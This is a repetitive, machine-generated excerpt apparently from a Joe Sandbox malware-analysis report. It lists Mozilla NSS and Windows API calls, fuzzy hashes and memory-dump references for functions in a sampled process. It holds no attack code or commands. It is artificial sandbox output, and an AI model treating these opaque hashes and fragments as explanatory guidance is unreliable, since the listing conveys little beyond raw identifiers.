Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab848763d964f4a68adcd6878610a3b585e9c6566d1caa29d62918ea9bb9a4d4
Instruction ID: ac898d3e1a12ea3f2d45a89c970fa6ad4144c71410c2e8409de8406faa952372
Opcode Fuzzy Hash: ab848763d964f4a68adcd6878610a3b585e9c6566d1caa29d62918ea9bb9a4d4
Instruction Fuzzy Hash: 0B919C316002018FEB08EFA6EDE9F6A3BB5BF46309F050529E64647B40DB34B946CB95

Function 6C548B50 Relevance: 7.7, APIs: 5, Instructions: 218COMMON

Download Yara Rule

APIs

CERT_DecodeAVAValue.NSS3 ref: 6C548B5C
CERT_DecodeAVAValue.NSS3 ref: 6C548B67

Part of subcall function 6C548E00: PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C548EED
Part of subcall function 6C548E00: SEC_QuickDERDecodeItem_Util.NSS3(?,?,6C6718D0,?), ref: 6C548F03
Part of subcall function 6C548E00: PR_CallOnce.NSS3(6C6A2AA4,6C5A12D0), ref: 6C548F19
Part of subcall function 6C548E00: PL_FreeArenaPool.NSS3(?), ref: 6C548F2B

SECITEM_CompareItem_Util.NSS3(?,?), ref: 6C548D5C
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C548D6B
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C548D76

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Item_Util$Decode$ArenaPoolValueZfree$CallCompareFreeInitOnceQuick
String ID:
API String ID: 185717074-0
Opcode ID: 0b2f8dd38a6241c10cbb34373fa26296834094dbcb1128f17eabedd40295e484
Instruction ID: 46f041b0f722fcfba6533a28143e0fd5e5cc5ab9137cc4ad135a424c5411ae27
Opcode Fuzzy Hash: 0b2f8dd38a6241c10cbb34373fa26296834094dbcb1128f17eabedd40295e484
Instruction Fuzzy Hash: 4D712571E026298FDB148A588C907AAB7F1EB59325F19C277D824EB7C1D3349C01D7D2

Function 6C58C590 Relevance: 7.7, APIs: 5, Instructions: 155COMMON

Download Yara Rule

APIs

PK11_DoesMechanism.NSS3(?,?,?,?), ref: 6C58C5C7
PK11_DoesMechanism.NSS3(?,?,?,?), ref: 6C58C603
PK11_DoesMechanism.NSS3(?,?,?,?), ref: 6C58C636
PK11_FreeSymKey.NSS3(?), ref: 6C58C6D7
PK11_FreeSymKey.NSS3(?), ref: 6C58C6E1

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: K11_$DoesMechanism$Free
String ID:
API String ID: 3860933388-0
Opcode ID: 37c0fb98283ca71ede17ba153d71f71d9e826fbc70a36c2399582a76c8449e08
Instruction ID: 79b82c58740a3a3481330d4d905e95708df14c392d97e5cc013ca2f1234a2181
Opcode Fuzzy Hash: 37c0fb98283ca71ede17ba153d71f71d9e826fbc70a36c2399582a76c8449e08
Instruction Fuzzy Hash: 0341A8B550222AAFDB01AF69DC80DAB77A9EF48348B400174FD09D7710E732ED25CBA1

Function 6C55C9E0 Relevance: 7.6, APIs: 5, Instructions: 132COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,?,?,00000000), ref: 6C55CA21
EnterCriticalSection.KERNEL32(0000001C), ref: 6C55CA35
PR_Unlock.NSS3(00000000), ref: 6C55CA66
PR_SetError.NSS3(FFFFE041,00000000,00000000,?,?,00000000), ref: 6C55CA77
PR_Unlock.NSS3(00000000), ref: 6C55CAFC

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Unlock$CriticalEnterErrorSectionValue
String ID:
API String ID: 1974170392-0
Opcode ID: 84945a9cd1ede7945033e4874e5a514baf6c8149c48d7099cc6e57cd59ed5058
Instruction ID: cf9b76ce2f1739e4536676abb1aabe025ce97040ef5b8dd5e4bd35fdbf260cc7
Opcode Fuzzy Hash: 84945a9cd1ede7945033e4874e5a514baf6c8149c48d7099cc6e57cd59ed5058
Instruction Fuzzy Hash: E441C279E002059BDB00EF65DD81AAA7BB4EF49398F544026ED1997711EB30FD21CBD1

Function 6C5B4A00 Relevance: 7.6, APIs: 5, Instructions: 126threadCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6C5B4A8D
CERT_SaveSMimeProfile.NSS3(00000000,00000000,00000000), ref: 6C5B4B01
CERT_DestroyCertificate.NSS3(00000000), ref: 6C5B4B12
PR_SetError.NSS3(?,00000000), ref: 6C5B4B1F
CERT_FindCertByIssuerAndSN.NSS3(?,?), ref: 6C5B4B35

Part of subcall function 6C5B04A0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,00000000), ref: 6C5B04B9
Part of subcall function 6C5B04A0: memcmp.VCRUNTIME140(?,?,?,?,?,?,?,?,00000000), ref: 6C5B050A
Part of subcall function 6C5B04A0: memcmp.VCRUNTIME140(?,00000000,?), ref: 6C5B0545

Part of subcall function 6C5B52E0: PORT_NewArena_Util.NSS3(00000400,6C5B4A57,?,00000000), ref: 6C5B52F7
Part of subcall function 6C5B52E0: SEC_QuickDERDecodeItem_Util.NSS3(00000000,?,6C67301C,WJ[l,?,6C5B4A57,?,00000000), ref: 6C5B5312
Part of subcall function 6C5B52E0: CERT_FindCertByIssuerAndSN.NSS3(?,?,?,?,?,?,?,6C5B4A57,?,00000000), ref: 6C5B5327
Part of subcall function 6C5B52E0: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,6C5B4A57,?,00000000), ref: 6C5B5334

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Util$Find$Arena_CertIssuermemcmp$CertificateCurrentDecodeDestroyErrorFreeItem_MimeProfileQuickSaveTag_Thread
String ID:
API String ID: 3052039812-0
Opcode ID: 68bac3f580bf6454a1cb174f38cb5d8f5fb324142914a5e07c5df0d8f707f60b
Instruction ID: cbe8ee9704fc80a8e5644e46ac998d126d91f3be82a18b0cbfb0975426929d23
Opcode Fuzzy Hash: 68bac3f580bf6454a1cb174f38cb5d8f5fb324142914a5e07c5df0d8f707f60b
Instruction Fuzzy Hash: 6231D3B1E01210ABEF249E35AC60B6B7EA9AF8131DF154134ED04BAB42E731C805C7A5

Function 6C586AE0 Relevance: 7.6, APIs: 6, Instructions: 125stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C586910: NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6C586943
Part of subcall function 6C586910: NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6C586957
Part of subcall function 6C586910: NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6C586972
Part of subcall function 6C586910: NSSUTIL_ArgStrip.NSS3(00000000), ref: 6C586983
Part of subcall function 6C586910: PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6C5869AA
Part of subcall function 6C586910: PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6C5869BE
Part of subcall function 6C586910: PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6C5869D2
Part of subcall function 6C586910: NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6C5869DF
Part of subcall function 6C586910: NSSUTIL_ArgStrip.NSS3(?), ref: 6C586A5B

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,00000000,6C58781D,?,6C57BE2C,?,00000000,00000000), ref: 6C586B66
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,6C58781D,?,6C57BE2C,?,00000000,00000000), ref: 6C586B88
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,6C58781D,?,6C57BE2C,?,00000000,00000000), ref: 6C586BAF
free.MOZGLUE(00000000,?,?,?,?,00000000,00000000,6C58781D,?,6C57BE2C,?,00000000,00000000), ref: 6C586BE6
free.MOZGLUE(?,?,?,?,?,00000000,00000000,6C58781D,?,6C57BE2C,?,00000000,00000000), ref: 6C586BF7
free.MOZGLUE(6C58781D,?,?,?,?,00000000,00000000,6C58781D,?,6C57BE2C,?,00000000,00000000), ref: 6C586C08

Part of subcall function 6C586C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6C58781D,00000000,6C57BE2C,?,6C586B1D,?,?,?,?,00000000,00000000,6C58781D), ref: 6C586C40
Part of subcall function 6C586C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6C58781D,?,6C57BE2C,?), ref: 6C586C58
Part of subcall function 6C586C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6C58781D), ref: 6C586C6F
Part of subcall function 6C586C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6C586C84
Part of subcall function 6C586C30: PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6C586C96
Part of subcall function 6C586C30: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6C586CAA

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: strcmpstrncmp$FlagL_strncasecmpfree$Strip$ParameterSecureSkip
String ID:
API String ID: 3779992554-0
Opcode ID: ebf48be21ba1b427f7ab76645597cd172822ea3522d4013a2e4aa646020d3a91
Instruction ID: 8bdac4d603847c4a245134f584947e9f5ede2e5515789a7d5f547fa70d75bf16
Opcode Fuzzy Hash: ebf48be21ba1b427f7ab76645597cd172822ea3522d4013a2e4aa646020d3a91
Instruction Fuzzy Hash: A2418F71E123299BEF00CFA5CC80BAEB7B8AF0974EF140425D815E7640EB35E944CBA5

Function 6C594B00 Relevance: 7.6, APIs: 5, Instructions: 119stringCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,-00000001,00000000,?,?,6C587B3B,00000000,?,?,00000000), ref: 6C594BA3

Part of subcall function 6C598970: TlsGetValue.KERNEL32(?,00000000,6C5461C4,?,6C545639,00000000), ref: 6C598991
Part of subcall function 6C598970: TlsGetValue.KERNEL32(?,?,?,?,?,6C545639,00000000), ref: 6C5989AD
Part of subcall function 6C598970: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6C545639,00000000), ref: 6C5989C6
Part of subcall function 6C598970: PR_WaitCondVar.NSS3 ref: 6C5989F7
Part of subcall function 6C598970: PR_Unlock.NSS3(?,?,?,?,?,?,?,6C545639,00000000), ref: 6C598A0C

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6C594B44
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6C594B7E
SECMOD_DestroyModule.NSS3(00000000), ref: 6C594C44
free.MOZGLUE(?), ref: 6C594C54

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Valuestrcmp$CondCriticalDestroyEnterErrorModuleSectionUnlockWaitfree
String ID:
API String ID: 3094473128-0
Opcode ID: 869f080086e2feb5a2cc13ad3e4c1a557dac246c1682bec04f94c51504ba7988
Instruction ID: aa40e4ad2077fb1852ca7e917a0f33c5f04a2353895d5615078f51e7cceca925
Opcode Fuzzy Hash: 869f080086e2feb5a2cc13ad3e4c1a557dac246c1682bec04f94c51504ba7988
Instruction Fuzzy Hash: F4419DB6A012459FDF108F5AEC4175AB7AAEF41318F2441A4E8399BB01E731FD14CBD6

Function 6C5A4690 Relevance: 7.6, APIs: 5, Instructions: 116memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(00000001,00000000,00000000,6C690148,?,6C5573A4,?,00000027,00000022), ref: 6C5A46D9
PORT_ZAlloc_Util.NSS3(00000001,00000022), ref: 6C5A473E
free.MOZGLUE(00000000,?,00000022), ref: 6C5A476C
free.MOZGLUE(00000000,?,00000022), ref: 6C5A477A
PORT_Strdup_Util.NSS3(6C690148,00000000,00000000,6C690148,?,6C5573A4,?,00000027,00000022), ref: 6C5A4788

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Util$Alloc_free$Strdup_
String ID:
API String ID: 1542459429-0
Opcode ID: bb6dd297be6bf9ba4139ab7f268c9f8a84308431eeb18e2fd894522f3e790c43
Instruction ID: 609c3015db0b898e488571f5ead98f35e2f2a6100a2751ea9362ff520cf2f41c
Opcode Fuzzy Hash: bb6dd297be6bf9ba4139ab7f268c9f8a84308431eeb18e2fd894522f3e790c43
Instruction Fuzzy Hash: F23107366096D54EE70249FB1CA13FF3F964B8B25DF1C2069D8D6C7A12DB13940B8691

Function 6C65AA70 Relevance: 7.6, APIs: 5, Instructions: 114COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C65AA86

Part of subcall function 6C5EC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C5EC2BF

Part of subcall function 6C65A690: calloc.MOZGLUE(00000001,00000044,?,?,?,?,6C65A662), ref: 6C65A69E
Part of subcall function 6C65A690: PR_NewCondVar.NSS3(?), ref: 6C65A6B4

PR_IntervalNow.NSS3 ref: 6C65AAEC
EnterCriticalSection.KERNEL32(?), ref: 6C65AB0A
_PR_MD_NOTIFY_CV.NSS3(?), ref: 6C65AB67
_PR_MD_UNLOCK.NSS3(?), ref: 6C65AB8B

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: CondCriticalEnterErrorIntervalSectionValuecalloc
String ID:
API String ID: 318662135-0
Opcode ID: 0c23d05d499d000947e04696b220be9bd7dd1589e5bb04feba82dba960a19120
Instruction ID: a0b33d8a7ef43cc4e6118376708a213240adc2b0c66e65e091d73b3b7862fc2a
Opcode Fuzzy Hash: 0c23d05d499d000947e04696b220be9bd7dd1589e5bb04feba82dba960a19120
Instruction Fuzzy Hash: 2541A3B4A003058FC754CF29C98055AB7F6FF49318768456AE819CBB02E731EC54CBA8

Function 6C5D2460 Relevance: 7.6, APIs: 5, Instructions: 105memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,6C677379,00000002,?), ref: 6C5D2493
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C5D24B4
PR_SetError.NSS3(FFFFE005,00000000,?,?,?,?,?,6C677379,00000002,?), ref: 6C5D24EA
PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,6C677379,00000002,?), ref: 6C5D24F5
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,6C677379,00000002,?), ref: 6C5D24FE

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Error$Alloc_FreeK11_Utilfree
String ID:
API String ID: 2595244113-0
Opcode ID: eb033b59dcd8d5b200811301f78b3835737f15969db1a943fbf9694f4c524b01
Instruction ID: 73f4789f6560702861026d730bc675e8ad820edee5f1687b59cd9a4fe99fa1da
Opcode Fuzzy Hash: eb033b59dcd8d5b200811301f78b3835737f15969db1a943fbf9694f4c524b01
Instruction Fuzzy Hash: A831E4B1A00216EBEB008FA9DC45BBBB7A4EF88309F114125FD25D6780E735ED54C7A6

Function 6C5D8530 Relevance: 7.6, APIs: 5, Instructions: 103COMMON

Download Yara Rule

APIs

PR_GetIdentitiesLayer.NSS3 ref: 6C5D8549
TlsGetValue.KERNEL32 ref: 6C5D85CF
TlsGetValue.KERNEL32 ref: 6C5D85FE
TlsGetValue.KERNEL32 ref: 6C5D8629
memcpy.VCRUNTIME140 ref: 6C5D8655

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Value$IdentitiesLayermemcpy
String ID:
API String ID: 2311246771-0
Opcode ID: 0b4cab846de0c2db71fb1f610f1492e0b5bd6b7b04ab20b8bbc180c0d12d3e2d
Instruction ID: 64badde5c689ba39968aad12c2d6a2afc2642eda4e8088f9a0550e79888196d1
Opcode Fuzzy Hash: 0b4cab846de0c2db71fb1f610f1492e0b5bd6b7b04ab20b8bbc180c0d12d3e2d
Instruction Fuzzy Hash: CD417170605701CBEB10DF7DD98476AB7A0BF55318F12966AE85887B51EB30B484CBCB

Function 6C53EDE0 Relevance: 7.6, APIs: 5, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C53EDFD
calloc.MOZGLUE(00000001,00000000), ref: 6C53EE64
PR_SetError.NSS3(FFFFE8AC,00000000), ref: 6C53EECC
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C53EEEB
free.MOZGLUE(?), ref: 6C53EEF6

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: ErrorValuecallocfreememcpy
String ID:
API String ID: 3833505462-0
Opcode ID: 50a87380ac5a7d27465ccec1b6b94b411922ecf344a06351a742290afd82cefa
Instruction ID: 257603166c8b739cfe0d65ef716d7090af59dfd32df1078c2114e1f8370f97f9
Opcode Fuzzy Hash: 50a87380ac5a7d27465ccec1b6b94b411922ecf344a06351a742290afd82cefa
Instruction Fuzzy Hash: A231F7716002219BDB209F2ADC84B667BF4FB46704F141529E85E87B90F771EC14C7E5

Function 6C65A530 Relevance: 7.6, APIs: 5, Instructions: 95COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C65A55C
PR_IntervalNow.NSS3 ref: 6C65A573
PR_IntervalNow.NSS3 ref: 6C65A5A5
_PR_MD_UNLOCK.NSS3(?), ref: 6C65A603

Part of subcall function 6C609890: TlsGetValue.KERNEL32(?,?,?,6C6097EB), ref: 6C60989E

_PR_MD_UNLOCK.NSS3(?), ref: 6C65A636

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Interval$CriticalEnterSectionValue
String ID:
API String ID: 959321092-0
Opcode ID: cf77490b480941727185c2c9808871cdaa94f06f6139f60409a2bc0ea6393eda
Instruction ID: ee80e89966c06ee4d88d24e2c32a024815fcc29e44870b1326ca3e423e5c7f63
Opcode Fuzzy Hash: cf77490b480941727185c2c9808871cdaa94f06f6139f60409a2bc0ea6393eda
Instruction Fuzzy Hash: 6D3161B16002058FCB04DF25C480AAAB7B5FF45318F658565D8159BB17D730EC94CFA8

Function 6C5686D0 Relevance: 7.6, APIs: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PK11_Authenticate.NSS3(?,00000001,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C568716
TlsGetValue.KERNEL32(?,?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C568727
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C56873B
PR_Unlock.NSS3(?), ref: 6C56876F
